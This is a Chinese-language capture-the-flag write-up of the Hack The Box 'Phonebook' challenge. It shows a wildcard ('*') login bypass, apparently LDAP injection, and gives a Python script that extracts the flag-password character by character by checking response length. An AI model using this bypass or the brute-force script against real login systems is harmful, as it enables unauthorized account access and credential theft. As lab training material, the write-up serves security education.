HTB之Phonebook

0x01 提示

1
Who is lucky enough to be included in the phonebook?

看提示意思是要枚举或者查找电话簿?直接打开页面:

image-20210504155530690

0x02 尝试

查看源代码,发现什么都没有。

爆破是不可能爆破的,只能尝试绕过,先上burpsuite,对输入框进行fuzz,看看有没有sql注入漏洞,没有成功。

然后尝试通配符*绕过,尝试使用用户名:Reese 和密码:* ,进行登录。

image-20210504160031990

登录成功,进入到下一个页面:

image-20210504160157925

在搜索栏中输入一个空格,搜索,出现下图页面:

image-20210504160346778

没有找到有用的信息,查看源代码,也是没有。

回到刚才的页面,将用户名改为Hun,密码还是*,尝试登录,没有成功。

0x03 猜测

本来以为该页面区分管理员和非管理员,当前登录为非管理员账户,所有没有获取到flag,但是换了用户名,没有登录成功,说明关键点还是在用户Reese上。

本页面有一个漏洞就是通配符,想到是否可以利用通配符来爆破密码?猜测flag就是用户的密码。

尝试输入密码为HTB{*},发现登录成功,说明flag就是密码。

0x04 获取flag

当然,一个个尝试不太现实,我们可以编写python脚本来进行破解,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
"""
Created on Tue May 4 14:11:24 2021

@author: Fstraw
"""
import requests
import string

pw = 'HTB{'
url = 'http://xxx/login'
#HTB的flag由英文大小写和数字和下划线构成。
words = string.ascii_lowercase + string.ascii_uppercase + '0123456789_'
i = 0
while True:
#遍历所有字符串
for w in words:
#提交的值
data = {'username':'reese','password':pw + w + '*' }
r = requests.post(url,data)
lenth = r.headers['Content-Length']
#登录成功的长度为2586
if lenth == '2586':
pw = pw + w
print('==============')
print(pw)
#跳出for循环
break
data = {'username':'reese','password':pw + '}'}
r = requests.post(url,data)
if r.headers['Content-Length'] == '2586':
#输出flag
print('==============')
print(pw + '}')
#跳出while循环
break

0x05 总结

考察了对通配符漏洞的利用和编写python脚本的能力。